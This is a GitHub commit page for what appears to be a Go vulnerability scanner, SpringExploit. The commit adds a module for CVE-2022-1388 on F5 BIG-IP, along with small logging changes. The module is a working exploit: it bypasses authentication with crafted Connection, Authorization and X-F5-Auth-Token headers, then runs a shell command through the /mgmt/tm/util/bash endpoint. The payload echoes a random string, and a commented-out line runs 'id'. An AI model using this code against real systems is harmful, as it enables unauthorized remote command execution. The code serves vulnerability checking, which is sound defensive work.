Skip to content

Commit f194ae8

Browse files
committed
支持漏洞 CVE-2022-1388 验证
1 parent 8876309 commit f194ae8

File tree

5 files changed

+94
-4
lines changed

5 files changed

+94
-4
lines changed

cmd/commons/attack/attack.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,7 @@ func addPoc(pocs map[string]interface{}) map[string]interface{} {
3636
pocs["CVE202222963"] = &_022.CVE202222963{}
3737
pocs["CVE202126084"] = &_021.CVE202126084{}
3838
pocs["CVE202222965"] = &_022.CVE202222965{}
39+
pocs["CVE20221388"] = &_022.CVE20221388{}
3940
return pocs
4041

4142
}

cmd/commons/poc/2022/CVE-2022-1388.go

Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
package _022
2+
3+
// 参考 https://github.com/numanturle/CVE-2022-1388/blob/main/bigip-icontrol-rest-rce.yaml
4+
import (
5+
"encoding/json"
6+
req2 "github.com/SummerSec/SpringExploit/cmd/commons/req"
7+
"github.com/SummerSec/SpringExploit/cmd/commons/utils"
8+
"github.com/fatih/structs"
9+
"github.com/imroc/req/v3"
10+
log "github.com/sirupsen/logrus"
11+
"net/url"
12+
"strings"
13+
)
14+
15+
type CVE20221388 struct{}
16+
17+
func (t CVE20221388) SendPoc(target string, hashmap map[string]interface{}) {
18+
log.Debug("[+] Start CVE-2022-1388")
19+
20+
reqinfo := req2.NewReqInfo()
21+
reqmap := structs.Map(reqinfo)
22+
23+
// 初始化请求
24+
// TODO 可以设置超时时间 重复次数 代理等 下面默认使用默认值
25+
reqmap["timeout"] = hashmap["Timeout"].(int)
26+
reqmap["retry"] = hashmap["Retry"].(int)
27+
reqmap["proxy"] = hashmap["Proxy"].(string)
28+
reqmap["mode"] = hashmap["Mode"].(int)
29+
30+
u, _ := url.Parse(target)
31+
path := "/mgmt/tm/util/bash"
32+
reqmap["url"] = u.Scheme + "://" + u.Host + path
33+
reqmap["method"] = "POST"
34+
35+
headers := map[string]string{
36+
"Host": "localhost",
37+
"User-Agent": utils.GetUA(),
38+
"Connection": "keep-alive,x-f5-auTh-tOKen",
39+
"Authorization": "Basic YWRtaW46",
40+
"X-F5-Auth-Token": utils.GetCode(5),
41+
"Content-Type": "application/json",
42+
}
43+
44+
reqmap["headers"] = headers
45+
46+
randstr := utils.GetCode(10)
47+
log.Debugf("[+] randstr: %s", randstr)
48+
base64str := utils.EncodeString(randstr)
49+
log.Debugf("[+] base64str: %s", base64str)
50+
51+
reqmap["body"] = "{\"command\":\"run\",\"utilCmdArgs\":\"-c 'echo " + base64str + " | base64 -d'\"}"
52+
//reqmap["body"] = "{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}"
53+
log.Debug("[+] Send CVE-2022-1388 request")
54+
resp := utils.Send(reqmap)
55+
56+
if t.CheckExp(resp, randstr, hashmap) {
57+
t.SaveResult(target, hashmap["Out"].(string))
58+
59+
}
60+
61+
}
62+
63+
func (CVE20221388) SaveResult(target string, file string) {
64+
result := target + " 存在 CVE-2022-1388漏洞"
65+
err := utils.SaveToFile(result, file)
66+
log.Info(result)
67+
if err != nil {
68+
return
69+
}
70+
71+
}
72+
73+
func (CVE20221388) CheckExp(resp *req.Response, randstr string, hashmap map[string]interface{}) bool {
74+
res := resp.String()
75+
log.Debugf(res)
76+
if strings.Contains(res, randstr) {
77+
// 将res 转化成map
78+
var maps map[string]interface{}
79+
err := json.Unmarshal([]byte(res), &maps)
80+
log.Info("CVE-2022-1388 命令执行返回 commandResult: ", maps["commandResult"])
81+
if err != nil {
82+
log.Debugf("[-] json.Unmarshal error: %s", err)
83+
return false
84+
}
85+
return true
86+
}
87+
return false
88+
}

cmd/commons/poc/2022/CVE-2022-22963.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -61,7 +61,7 @@ func (CVE202222963) init() {
6161
}
6262

6363
func (CVE202222963) SaveResult(target string, file string) {
64-
context := target + " 存在CVE-2022-22963漏洞\n"
64+
context := target + " 存在CVE-2022-22963漏洞"
6565
utils.SaveToFile(context, file)
6666
}
6767

cmd/commons/utils/httpclient.go

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -52,8 +52,8 @@ func Send(hashmap map[string]interface{}) (resp *req.Response) {
5252
return nil
5353
}
5454
log.Debugln("send request success")
55-
res := resp.Dump()
56-
log.Debugln("response: " + res)
55+
//res := resp.Dump()
56+
//log.Debugln("response: " + res)
5757

5858
return resp
5959
}

cmd/commons/utils/readfile.go

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@ import (
1010
)
1111

1212
func ReadFile(path string) (urls []string, err error) {
13+
log.Info("Reading file: ", path)
1314
file, err := os.Open(path)
1415
if err != nil {
1516
log.Error("An error occurred on opening the inputfile\n" +
@@ -33,7 +34,7 @@ func ReadFile(path string) (urls []string, err error) {
3334
return lins, err // error or EOF
3435
}
3536
str = str[:len(str)-2]
36-
log.Infoln("The url is : ", str)
37+
log.Debugf("The url is : ", str)
3738
lins = append(lins, str)
3839
}
3940
return lins, nil

0 commit comments

Comments
 (0)